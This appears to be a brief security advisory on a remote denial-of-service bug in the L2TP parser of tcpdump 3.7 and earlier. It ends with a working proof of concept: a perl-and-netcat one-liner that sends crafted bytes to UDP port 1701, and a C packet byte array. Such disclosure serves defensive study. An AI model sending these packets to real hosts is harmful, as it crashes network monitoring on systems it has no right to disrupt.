Tcpdump 3.x - L2TP Parser Remote Denial of Service







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A vulnerability has been reported to exist in the software that may allow a remote attacker to cause a denial of service condition in tcpdump. The issue presents itself when an attacker sends a maliciously formatted packet containing 0xff,0x02 bytes to UDP port 1701 of a system running a vulnerable version of tcpdump.

This issue is reported to affect tcpdump 3.7 and prior running on OpenBSD 3.3 and -current, however other versions on different platforms could be affected as well. 

tcpdump -i lo0 -n udp and dst port 1701 &
perl -e 'print "\xff\x02"' | nc -u localhost 1701

Example packet data has been provided by Balaram Amgoth <>:
char packet[] = "\x82\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";